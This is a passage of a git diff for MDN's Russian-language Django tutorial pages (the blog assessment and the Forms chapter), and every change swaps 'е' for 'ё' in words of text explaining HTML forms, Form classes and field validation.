<li>В админ панеле должен отображаться список комментариев в строке (внизу каждого сообщения в блоге).</li> @@ -156,7 +156,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog <ul> <li>Все поля модели имеют правильную метку и длину.</li> - <li>Все модели имеют ожидаемое имя объекта (например,<code> __str__()</code>выдает ожидаемое значение).</li> + <li>Все модели имеют ожидаемое имя объекта (например,<code> __str__()</code>выдаёт ожидаемое значение).</li> <li>Модели имеют ожидаемый URL для отдельных записей в блогах и комментариях (например,<code>get_absolute_url()</code> возвращает ожидаемый URL-адрес).</li> <li>Страница BlogListView (страница на всех блогах) доступна в ожидаемом месте (например, /blog/blogs)</li> <li>Страница BlogListView (страница на всех блогах) доступна на ожидаемом именованном URL-адресе (например, 'blogs')</li> @@ -165,7 +165,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog </ul> <div class="note"> -<p><strong>Заметка</strong>: Конечно, есть много других тестов, которые вы можете запустить. Используйте на свое усмотрение, но мы ожидаем, что вы сделаете хотя бы тесты выше.</p> +<p><strong>Заметка</strong>: Конечно, есть много других тестов, которые вы можете запустить. Используйте на своё усмотрение, но мы ожидаем, что вы сделаете хотя бы тесты выше.</p> </div> <p>В следующем разделе показаны <a href="#Screenshots">скриншоты</a> сайта, который выполняет перечисленные выше требования.</p> @@ -191,7 +191,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog <p> </p> -<p>Это ссылки на всех блогеров в "All bloggers" по ссылке, которая на боковой панели. В этом случае мы можем увидеть на боковой панели, что ни один пользователь не вошел в систему.</p> +<p>Это ссылки на всех блогеров в "All bloggers" по ссылке, которая на боковой панели. В этом случае мы можем увидеть на боковой панели, что ни один пользователь не вошёл в систему.</p> <p><img alt="List of all bloggers" src="https://mdn.mozillademos.org/files/14321/diyblog_blog_allbloggers.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 493px;"></p> @@ -201,7 +201,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog <p><img alt="Blog detail with add comment link" src="https://mdn.mozillademos.org/files/14323/diyblog_blog_detail_add_comment.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 986px;"></p> -<p>Обратите внимание, что комментарии имеют дату <em>и</em> время, и расположены в порядке от самых старых до новейших (противоположно порядку ведения блога). В конце у нас есть ссылка для доступа к форме, чтобы добавить новый комментарий. Если пользователь не вошел в систему, мы бы увидели предложение войти в систему.</p> +<p>Обратите внимание, что комментарии имеют дату <em>и</em> время, и расположены в порядке от самых старых до новейших (противоположно порядку ведения блога). В конце у нас есть ссылка для доступа к форме, чтобы добавить новый комментарий. Если пользователь не вошёл в систему, мы бы увидели предложение войти в систему.</p> <p><img alt="Comment link when not logged in" src="https://mdn.mozillademos.org/files/14325/diyblog_blog_detail_not_logged_in.png" style="border-style: solid; border-width: 1px; display: block; height: 129px; margin: 0px auto; width: 646px;"></p> @@ -249,14 +249,14 @@ translation_of: Learn/Server-side/Django/django_assessment_blog <li>Просмотр списка публикаций блога и блогеров, а также подробное представление для сообщений в блоге можно создать с помощью <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">generic list and detail views</a>.</li> <li>Список постов в блоге конкретного автора может быть создан с помощью общего списка Blog list view и фильтрация для объекта блога, соответствующего указанному автору. <ul> - <li>Вам придется реализовать <code>get_queryset(self)</code> для фильтрации (как и в нашем классе библиотеки <code>LoanedBooksAllListView</code>) и получить информацию об авторе из URL-адреса.</li> + <li>Вам придётся реализовать <code>get_queryset(self)</code> для фильтрации (как и в нашем классе библиотеки <code>LoanedBooksAllListView</code>) и получить информацию об авторе из URL-адреса.</li> <li>Вам также необходимо передать имя автора на страницу в контексте. Чтобы сделать это в представлении на основе классов, вам необходимо реализовать <code>get_context_data()</code> (обсуждается ниже).</li> </ul> </li> <li>Форма <em>добавления комментариев</em> может быть создана с использованием функционального представления (и связанной модели и формы) или с использованием общего <code>CreateView</code>. Если вы используете <code>CreateView</code> (рекомендуется): <ul> <li>Вам также нужно будет передать имя блога на страницу комментариев в контексте (реализовать <code>get_context_data()</code> как обсуждается ниже).</li> - <li>Форма должна отображать только комментарий «описание» для записи пользователя (дата и связанная с ними запись в блоге не должны редактироваться). Поскольку они не будут в форме, ваш код должен будет установить автора комментария в <code> form_valid()</code> функцию, поэтому он может быть сохранен в модели (<a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-editing/#models-and-request-user">as described here</a> — Django docs). В этой же функции мы устанавливаем связанный блог. Возможная реализация показана ниже (<code>pk</code> это идентификатор блога, переданный из URL / URL конфигурации ). + <li>Форма должна отображать только комментарий «описание» для записи пользователя (дата и связанная с ними запись в блоге не должны редактироваться). Поскольку они не будут в форме, ваш код должен будет установить автора комментария в <code> form_valid()</code> функцию, поэтому он может быть сохранён в модели (<a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-editing/#models-and-request-user">as described here</a> — Django docs). В этой же функции мы устанавливаем связанный блог. Возможная реализация показана ниже (<code>pk</code> это идентификатор блога, переданный из URL / URL конфигурации ). <pre class="brush: python"> def form_valid(self, form): """ Add author and associated blog to form data before setting it as valid (so it is saved to model) @@ -274,7 +274,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog </li> </ol> -<p>Мы кратко говорили о передаче контекста шаблону в представлении на основе классов в теме <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Generic_views#Overriding_methods_in_class-based_views">Django Tutorial Part 6: Generic list and detail views</a>. Для этого вам нужно переопределить <code>get_context_data()</code> (сначала получить существующий контекст, обновить его любыми дополнительными переменными, которые вы хотите передать шаблону, а затем вернуть обновленный контекст). Например, фрагмент кода ниже показывает, как вы можете добавить объект blogger в контекст на основе его <code>BlogAuthor</code> id.</p> +<p>Мы кратко говорили о передаче контекста шаблону в представлении на основе классов в теме <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Generic_views#Overriding_methods_in_class-based_views">Django Tutorial Part 6: Generic list and detail views</a>. Для этого вам нужно переопределить <code>get_context_data()</code> (сначала получить существующий контекст, обновить его любыми дополнительными переменными, которые вы хотите передать шаблону, а затем вернуть обновлённый контекст). Например, фрагмент кода ниже показывает, как вы можете добавить объект blogger в контекст на основе его <code>BlogAuthor</code> id.</p> <pre class="brush: python">class SomeView(generic.ListView): ... diff --git a/files/ru/learn/server-side/django/forms/index.html b/files/ru/learn/server-side/django/forms/index.html index 902e27932d..d43c505096 100644 --- a/files/ru/learn/server-side/django/forms/index.html +++ b/files/ru/learn/server-side/django/forms/index.html @@ -25,7 +25,7 @@ translation_of: Learn/Server-side/Django/Forms </tr> <tr> <th scope="row">Цель:</th> - <td>Научиться понимать, как создавать формы, чтобы получать информацию от пользователей и обновлять базу данных. Узнать, как обобщенные классы отображения форм могут значительно упростить процесс создания форм при работе с одной моделью.</td> + <td>Научиться понимать, как создавать формы, чтобы получать информацию от пользователей и обновлять базу данных. Узнать, как обобщённые классы отображения форм могут значительно упростить процесс создания форм при работе с одной моделью.</td> </tr> </tbody> </table> @@ -38,13 +38,13 @@ translation_of: Learn/Server-side/Django/Forms <p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> -<p>Работа с формами может быть достаточно сложной! Разработчикам надо описать форму на HTML, проверить ее валидность, а также, на стороне сервера, проверять введенные пользователем данные (а возможно и на стороне клиента), далее, в случае возникновения ошибок необходимо опять показать пользователю форму и, при этом, указать на то, что пошло не так, в случае же успеха проделать с данными необходимые операции и каким-то образом проинформировать об этом пользователя. Django, при работе с формами, берет большую часть, описанной выше работы, на себя. Он предоставляет фреймворк, который позволяет вам определять форму и ее поля программно, а затем использовать эти объекты и для генерации непосредственно кода HTML-формы, и для контроля за процессом валидации и других пользовательский взаимодействий с формой.</p> +<p>Работа с формами может быть достаточно сложной! Разработчикам надо описать форму на HTML, проверить её валидность, а также, на стороне сервера, проверять введённые пользователем данные (а возможно и на стороне клиента), далее, в случае возникновения ошибок необходимо опять показать пользователю форму и, при этом, указать на то, что пошло не так, в случае же успеха проделать с данными необходимые операции и каким-то образом проинформировать об этом пользователя. Django, при работе с формами, берет большую часть, описанной выше работы, на себя. Он предоставляет фреймворк, который позволяет вам определять форму и её поля программно, а затем использовать эти объекты и для генерации непосредственно кода HTML-формы, и для контроля за процессом валидации и других пользовательский взаимодействий с формой.</p> -<p>В данной части руководства мы покажем вам несколько способов создания и работы с формами и, в частности, как применение обобщенных классов работы с формой могут значительно уменьшить необходимый объем работы. Кроме того, мы расширим возможности нашего сайта <em>LocalLibrary,</em> путем добавления функционала для библиотекарей, который будет позволять им обновлять информацию - добавим страницы для создания, редактирования, удаления книг и авторов (воспроизведем и расширим стандартные возможности административной части сайта).</p> +<p>В данной части руководства мы покажем вам несколько способов создания и работы с формами и, в частности, как применение обобщённых классов работы с формой могут значительно уменьшить необходимый объем работы. Кроме того, мы расширим возможности нашего сайта <em>LocalLibrary,</em> путём добавления функционала для библиотекарей, который будет позволять им обновлять информацию - добавим страницы для создания, редактирования, удаления книг и авторов (воспроизведём и расширим стандартные возможности административной части сайта).</p> <h2 id="Формы_HTML">Формы HTML</h2> -<p>Начнем мы с краткого обзора <a href="/en-US/docs/Web/Guide/HTML/Forms">Форм HTML</a>. Рассмотрим простую форму HTML, имеющую поле для ввода имени некоторой "команды" ("team"), и, связанную с данным полем, текстовой меткой:</p> +<p>Начнём мы с краткого обзора <a href="/en-US/docs/Web/Guide/HTML/Forms">Форм HTML</a>. Рассмотрим простую форму HTML, имеющую поле для ввода имени некоторой "команды" ("team"), и, связанную с данным полем, текстовой меткой:</p> <p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p> @@ -58,27 +58,27 @@ translation_of: Learn/Server-side/Django/Forms <p>Здесь у нас только одно поле для ввода имени команды, но форма <em>может</em> иметь любое количество элементов ввода и, связанных с ними, текстовых меток. Атрибут элемента <code>type</code> определяет какого типа виджет будет показан в данной строке. Атрибуты <code>name</code> и <code>id</code> используются для однозначной идентификации данного поля в JavaScript/CSS/HTML, в то время как <code>value</code> содержит значение для поля (когда оно показывается в первый раз). Текстовая метка добавляется при помощи тэга <code style="font-style: normal; font-weight: normal;">label</code> (смотрите "Enter name", в предыдущем фрагменте) и имеет атрибут <code style="font-style: normal; font-weight: normal;">for</code> со значением идентификатора <code style="font-style: normal; font-weight: normal;">id</code>, того поля, с которым данная текстовая метка связана.</p> -<p>Элемент <code>input</code> с <code>type="submit"</code> будет показана как кнопка (по умолчанию), нажав на которую, пользователь отправляет введенные им данные на сервер (в данном случае только значение поля с идентификатором <code>team_name</code>). Атрибуты формы определяют каким методом будут отправлены данные на сервер (атрибут <code>method</code>) и куда (атрибут <code>action</code>):</p> +<p>Элемент <code>input</code> с <code>type="submit"</code> будет показана как кнопка (по умолчанию), нажав на которую, пользователь отправляет введённые им данные на сервер (в данном случае только значение поля с идентификатором <code>team_name</code>). Атрибуты формы определяют каким методом будут отправлены данные на сервер (атрибут <code>method</code>) и куда (атрибут <code>action</code>):</p> <ul> <li><code>action</code>: Это ресурс/URL-адрес куда будут отправлены данные для обработки. Если значение не установлено (то есть, значением поля является пустая строка), тогда данные будут отправлены в отображение (функцию, или класс), которое сформировало текущую страницу.</li> <li><code>method</code>: HTTP-метод, используемый для отправки данных: <em>post</em>, или <em>get</em>. <ul> - <li>Метод <code>POST</code> должен всегда использоваться если отправка данных приведет к внесению изменений в базе данных на сервере. Применение данного метода должно повысить уровень защиты от CSRF.</li> + <li>Метод <code>POST</code> должен всегда использоваться если отправка данных приведёт к внесению изменений в базе данных на сервере. Применение данного метода должно повысить уровень защиты от CSRF.</li> <li>Метод <code>GET</code> должен применяться только для форм, действия с которыми не приводят к изменению базы данных (например для поисковых запросов). Кроме того, данный метод рекомендуется применять для создания внешних ссылок на ресурсы сайта.</li> </ul> </li> </ul> -<p>Ролью сервера в первую очередь является отрисовка начального состояния формы — либо содержащей пустые поля, либо с установленными начальными значениями. После того как пользователь нажмет на кнопку, сервер получит все данные формы, а затем должен провести их валидацию. В том случае, если форма содержит неверные данные, сервер должен снова отрисовать форму, показав при этом поля с правильными данными, а также сообщения, описывающие "что именно пошло не так". В тот момент, когда сервер получит запрос с "правильными" данными он должен выполнить все необходимые действия (например, сохранение данных, возврат результата поиска, загрузка файла и тому подобное), а затем, в случае необходимости, проинформировать пользователя.</p> +<p>Ролью сервера в первую очередь является отрисовка начального состояния формы — либо содержащей пустые поля, либо с установленными начальными значениями. После того как пользователь нажмёт на кнопку, сервер получит все данные формы, а затем должен провести их валидацию. В том случае, если форма содержит неверные данные, сервер должен снова отрисовать форму, показав при этом поля с правильными данными, а также сообщения, описывающие "что именно пошло не так". В тот момент, когда сервер получит запрос с "правильными" данными он должен выполнить все необходимые действия (например, сохранение данных, возврат результата поиска, загрузка файла и тому подобное), а затем, в случае необходимости, проинформировать пользователя.</p> -<p>Как вы видите, создание HTML-формы, валидация и возврат данных, переотрисовка введенных значений, при необходимости, а также выполнение желаемых действий с "правильными данными", в целом, может потребовать довольно больших усилий для того, чтобы все "заработало". Django делает этот процесс намного проще, беря на себя некоторые "тяжелые" и повторяющиеся участки кода!</p> +<p>Как вы видите, создание HTML-формы, валидация и возврат данных, переотрисовка введённых значений, при необходимости, а также выполнение желаемых действий с "правильными данными", в целом, может потребовать довольно больших усилий для того, чтобы все "заработало". Django делает этот процесс намного проще, беря на себя некоторые "тяжёлые" и повторяющиеся участки кода!</p> <h2 id="Процесс_управления_формой_в_Django_2"><a id="Процесс_управления_формой_в_Django" name="Процесс_управления_формой_в_Django">Процесс управления формой в Django</a></h2> -<p>Управление формами в Django использует те же самые техники, которые мы изучали в предыдущих частях руководства (при показе информации из наших моделей): отображение получает запрос, выполняет необходимые действия, включающие в себя чтение данных из моделей, генерацию и возврат страницы HTML (из шаблона, в который передается <em>контекст,</em> содержащий данные, которые и будут показаны). Что делает данный процесс более сложным, так это то, что серверной части надо дополнительно обработать данные, предоставленные пользователем и, в случае возникновения ошибок, снова перерисовать страницу.</p> +<p>Управление формами в Django использует те же самые техники, которые мы изучали в предыдущих частях руководства (при показе информации из наших моделей): отображение получает запрос, выполняет необходимые действия, включающие в себя чтение данных из моделей, генерацию и возврат страницы HTML (из шаблона, в который передаётся <em>контекст,</em> содержащий данные, которые и будут показаны). Что делает данный процесс более сложным, так это то, что серверной части надо дополнительно обработать данные, предоставленные пользователем и, в случае возникновения ошибок, снова перерисовать страницу.</p> -<p>Диаграмма, представленная ниже, демонстрирует процесс работы с формой в Django, начиная с запроса страницы, содержащей форму (выделено зеленым цветом).</p> +<p>Диаграмма, представленная ниже, демонстрирует процесс работы с формой в Django, начиная с запроса страницы, содержащей форму (выделено зелёным цветом).</p> <p><img alt="Updated form handling process doc." src="https://mdn.mozillademos.org/files/14205/Form%20Handling%20-%20Standard.png" style="display: block; height: 569px; margin: 0px auto; width: 800px;"></p> @@ -87,27 +87,27 @@ translation_of: Learn/Server-side/Django/Forms <ol> <li>Показ формы по умолчанию при первом запросе со стороны пользователя. <ul> - <li>Форма может содержать пустые поля (например, если вы создаете новую запись в базе данных), или они (поля) могут иметь начальные значения (например, если вы изменяете запись, или хотите заполнить ее каким-либо начальным значением).</li> - <li>Форма в данный момент является <em>несвязанной</em>, потому что она не ассоциируется с какими-либо введенными пользователем данными (хотя и может иметь начальные значения).</li> + <li>Форма может содержать пустые поля (например, если вы создаёте новую запись в базе данных), или они (поля) могут иметь начальные значения (например, если вы изменяете запись, или хотите заполнить её каким-либо начальным значением).</li> + <li>Форма в данный момент является <em>несвязанной</em>, потому что она не ассоциируется с какими-либо введёнными пользователем данными (хотя и может иметь начальные значения).</li> </ul> </li> <li>Получение данных из формы (из HTML-формы) со стороны клиента и связывание их с формой (классом формы) на стороне сервера. <ul> - <li>Связывание данных с формой означает, что данные, введенные пользователем, а также возможные ошибки, при переотрисовке в дальнейшем, будут относиться именно к данной форме, а не к какой-либо еще.</li> + <li>Связывание данных с формой означает, что данные, введённые пользователем, а также возможные ошибки, при переотрисовке в дальнейшем, будут относиться именно к данной форме, а не к какой-либо еще.</li> </ul> </li> <li>Очистка и валидация данных. <ul> <li>Очистка данных - это их проверка на наличие возможных значений, или вставок в поля ввода (то есть очистка - это удаление неправильных символов, которые потенциально могут использоваться для отправки вредоносного содержимого на сервер), с последующей конвертацией очищенных данных в подходящие типы данных Python.</li> - <li>Валидация проверяет, значения полей (например, правильность введенных дат, их диапазон и так далее)</li> + <li>Валидация проверяет, значения полей (например, правильность введённых дат, их диапазон и так далее)</li> </ul> </li> - <li>Если какие-либо данные являются неверными, то выполнение перерисовки формы, но на этот раз, с уже введенными пользователем данными и сообщениями об ошибках, описывающих возникшие проблемы.</li> + <li>Если какие-либо данные являются неверными, то выполнение перерисовки формы, но на этот раз, с уже введёнными пользователем данными и сообщениями об ошибках, описывающих возникшие проблемы.</li> <li>Если все данные верны, то исполнение необходимых действий (например, сохранение данных, отправка писем, возврат результата поиска, загрузка файла и так далее)</li> <li>Когда все действия были успешно завершены, то перенаправление пользователя на другую страницу.</li> </ol> -<p>Django предоставляет несколько инструментов и приемов, которые помогают вам во время выполнения задач, описанных выше. Наиболее фундаментальным из них является класс <code>Form</code>, который упрощает генерацию HTML-формы и очистку/валидацию ее данных. В следующем разделе мы опишем процесс работы с формами при помощи практического примера по созданию страницы, которая позволит библиотекарям обновлять информацию о книгах.</p> +<p>Django предоставляет несколько инструментов и приёмов, которые помогают вам во время выполнения задач, описанных выше. Наиболее фундаментальным из них является класс <code>Form</code>, который упрощает генерацию HTML-формы и очистку/валидацию её данных. В следующем разделе мы опишем процесс работы с формами при помощи практического примера по созданию страницы, которая позволит библиотекарям обновлять информацию о книгах.</p> <div class="note"> <p><strong>Примечание:</strong> Понимание того, как используется класс <code>Form</code> поможет вам когда мы будем рассматривать классы фреймворка Django, для работы с формами более "высокого уровня".</p> @@ -115,13 +115,13 @@ translation_of: Learn/Server-side/Django/Forms <h2 id="HTML-форма_обновления_книги._Класс_Form_и_функция_отображения">HTML-форма обновления книги. Класс Form и функция отображения</h2> -<p>Данная глава будет посвящена процессу создания страницы, которая позволит библиотекарям обновлять информацию о книгах (в частности, вводить дату возврата книги). Для того, чтобы сделать это мы создадим форму, которая позволит пользователям вводить значение дат. Мы проинициализируем поле датой, равной 3 неделям, начиная с текущего дня, и, для того, чтобы библиотекарь не имел возможность ввести "неправильную" дату, мы добавим валидацию введенных значений, которая будет проверять, чтобы введенная дата не относилась к прошлому, или к слишком далекому будущему. Когда будет получена "правильная" дата мы запишем ее значение в поле <code>BookInstance.due_back</code>.</p> +<p>Данная глава будет посвящена процессу создания страницы, которая позволит библиотекарям обновлять информацию о книгах (в частности, вводить дату возврата книги). Для того, чтобы сделать это мы создадим форму, которая позволит пользователям вводить значение дат. Мы проинициализируем поле датой, равной 3 неделям, начиная с текущего дня, и, для того, чтобы библиотекарь не имел возможность ввести "неправильную" дату, мы добавим валидацию введённых значений, которая будет проверять, чтобы введённая дата не относилась к прошлому, или к слишком далёкому будущему. Когда будет получена "правильная" дата мы запишем её значение в поле <code>BookInstance.due_back</code>.</p> <p>Данный пример будет использовать отображение на основе функции, а также продемонстрирует работу с классом <code>Form</code>. Следующие разделы покажут изменения, которые вам надо сделать, чтобы продемонстрировать работу форм в проекте <em>LocalLibrary</em>.</p> <h3 id="Класс_Form">Класс Form</h3> -<p>Класс <code>Form</code> является сердцем системы Django при работе с формами. Он определяет поля формы, их расположение, показ виджетов, текстовых меток, начальных значений, валидацию значений и сообщения об ошибках для "неправильных" полей (если таковые имеются). Данный класс, кроме того, предоставляет методы для отрисовки самого себя в шаблоне при помощи предопределенных форматов (таблицы, списки и так далее), или для получения значения любого элемента (позволяя выполнять более точную отрисовку).</p> +<p>Класс <code>Form</code> является сердцем системы Django при работе с формами. Он определяет поля формы, их расположение, показ виджетов, текстовых меток, начальных значений, валидацию значений и сообщения об ошибках для "неправильных" полей (если таковые имеются). Данный класс, кроме того, предоставляет методы для отрисовки самого себя в шаблоне при помощи предопределённых форматов (таблицы, списки и так далее), или для получения значения любого элемента (позволяя выполнять более точную отрисовку).</p> <h4 id="Объявление_класса_формы_Form">Объявление класса формы Form</h4> @@ -137,7 +137,7 @@ class RenewBookForm(forms.Form): <h4 id="Поля_формы">Поля формы</h4> -<p>В нашем случае мы имеем одно поле типа <code><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield">DateField</a></code>, которое служит для ввода обновленной даты возврата книги, которое будет отрендерено в HTML с пустым значением и текстовой меткой "<em>Renewal date:</em>", а также текстовым описанием: "<em>Enter a date between now and 4 weeks (default 3 weeks).</em>" Так как никаких дополнительных опций мы не определяем, то поле будет "получать" даты в следующем формате <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#django.forms.DateField.input_formats">input_formats</a>: YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16), а для отрисовки по умолчанию, будет использовать <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">виджет</a>: <a href="https://docs.djangoproject.com/en/1.10/ref/forms/widgets/#django.forms.DateInput">DateInput</a>.</p> +<p>В нашем случае мы имеем одно поле типа <code><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield">DateField</a></code>, которое служит для ввода обновлённой даты возврата книги, которое будет отрендерено в HTML с пустым значением и текстовой меткой "<em>Renewal date:</em>", а также текстовым описанием: "<em>Enter a date between now and 4 weeks (default 3 weeks).</em>" Так как никаких дополнительных опций мы не определяем, то поле будет "получать" даты в следующем формате <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#django.forms.DateField.input_formats">input_formats</a>: YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16), а для отрисовки по умолчанию, будет использовать <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">виджет</a>: <a href="https://docs.djangoproject.com/en/1.10/ref/forms/widgets/#django.forms.DateInput">DateInput</a>.</p> <p>Существует множество других типов полей для класса формы, которые по своему функционалу подобны соответствующим им эквивалентам типов полей для классов моделей: <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#booleanfield"><code>BooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#charfield"><code>CharField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#choicefield"><code>ChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedchoicefield"><code>TypedChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield"><code>DateField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datetimefield"><code>DateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#decimalfield"><code>DecimalField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#durationfield"><code>DurationField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#emailfield"><code>EmailField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filefield"><code>FileField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filepathfield"><code>FilePathField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#floatfield"><code>FloatField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#imagefield"><code>ImageField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#integerfield"><code>IntegerField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#genericipaddressfield"><code>GenericIPAddressField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multiplechoicefield"><code>MultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedmultiplechoicefield"><code>TypedMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#nullbooleanfield"><code>NullBooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#regexfield"><code>RegexField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#slugfield"><code>SlugField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#timefield"><code>TimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#urlfield"><code>URLField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#uuidfield"><code>UUIDField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#combofield"><code>ComboField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multivaluefield"><code>MultiValueField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#splitdatetimefield"><code>SplitDateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelmultiplechoicefield"><code>ModelMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelchoicefield"><code>ModelChoiceField</code></a>.</p> @@ -145,20 +145,20 @@ class RenewBookForm(forms.Form): <ul> <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#required">required</a>: Если <code>True</code>, то данное поле не может быть пустым, или иметь значение<code>None</code>. Данное значение установлено по умолчанию.</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a>: Текстовая метка, используемая для рендеринга поля в HTML-код. Если <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a> не определена, то Django попытается создать ее значение при помощи имени поля, переводя первый символ в верхний регистр, а также заменяя символы подчеркивания пробелами (например, для переменной с именем renewal_date, будет создан следующий текст метки: <em>Renewal date</em>).</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a>: Текстовая метка, используемая для рендеринга поля в HTML-код. Если <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a> не определена, то Django попытается создать её значение при помощи имени поля, переводя первый символ в верхний регистр, а также заменяя символы подчёркивания пробелами (например, для переменной с именем renewal_date, будет создан следующий текст метки: <em>Renewal date</em>).</li> <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label-suffix">label_suffix</a>: По умолчанию показывает двоеточие после текста метки (например, Renewal date<strong>:</strong>). Данный параметр позволяет вам указать любой суффикс по вашему желанию.</li> <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#initial">initial</a>: Начальное значение для поля при показе формы.</li> <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">widget</a>: Применяемый виджет для поля.</li> <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#help-text">help_text</a> (как показано в примере выше): Дополнительный текст, который может быть показан на форме, для описания того, как использовать поле.</li> <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#error-messages">error_messages</a>: Список сообщений об ошибках для данного поля. Вы можете переопределить его своими сообщениями, при необходимости.</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#validators">validators</a>: Список функций, которые будут вызваны для валидации, введенного в поле значения.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#validators">validators</a>: Список функций, которые будут вызваны для валидации, введённого в поле значения.</li> <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#localize">localize</a>: Позволяет осуществить локализацию данных поля формы (например, формат ввода числовых значений, или дат).</li> <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#disabled">disabled</a>: Если установлено в <code>True</code>, то поле показывается, но его значение изменить нельзя. По умолчанию равно <code>False</code>.</li> </ul> <h4 id="Валидация">Валидация</h4> -<p>Django предоставляет несколько мест где вы можете осуществить валидацию ваших данных. Простейшим способом проверки значения одиночного поля является переопределение метода<code>clean_<strong><fieldname></strong>()</code> (здесь, <code><strong><fieldname></strong></code> это имя поля, которое вы хотите проверить). Например, мы хотим проверить, что введенное значение <code>renewal_date</code> находится между текущей датой и 4 неделями в будущем. Для этого мы создаем метод <code>clean_<strong>renewal_date</strong>()</code>, как показано ниже:</p> +<p>Django предоставляет несколько мест где вы можете осуществить валидацию ваших данных. Простейшим способом проверки значения одиночного поля является переопределение метода<code>clean_<strong><fieldname></strong>()</code> (здесь, <code><strong><fieldname></strong></code> это имя поля, которое вы хотите проверить). Например, мы хотим проверить, что введённое значение <code>renewal_date</code> находится между текущей датой и 4 неделями в будущем. Для этого мы создаём метод <code>clean_<strong>renewal_date</strong>()</code>, как показано ниже:</p> <pre class="brush: python notranslate">from django import forms @@ -183,7 +183,7 @@ class RenewBookForm(forms.Form): # Помните, что всегда надо возвращать "очищенные" данные. return data</strong></pre> -<p>Необходимо отметить два важных момента. Первый это то, что мы получаем наши данные при помощи словаря <code>self.cleaned_data['renewal_date']</code>, а затем в конце возвращаем полученное значение, для проведения необходимых проверок. Данный шаг позволяет нам, при помощи валидаторов, получить "очищенные", проверенные, а затем, приведенные к стандартным типам, данные (в нашем случае к типу Python <code>datetime.datetime</code>).</p> +<p>Необходимо отметить два важных момента. Первый это то, что мы получаем наши данные при помощи словаря <code>self.cleaned_data['renewal_date']</code>, а затем в конце возвращаем полученное значение, для проведения необходимых проверок. Данный шаг позволяет нам, при помощи валидаторов, получить "очищенные", проверенные, а затем, приведённые к стандартным типам, данные (в нашем случае к типу Python <code>datetime.datetime</code>).</p> <p>Второй момент касается того случая, когда наше значение "выпадает за рамки" и мы "выкидываем" исключение 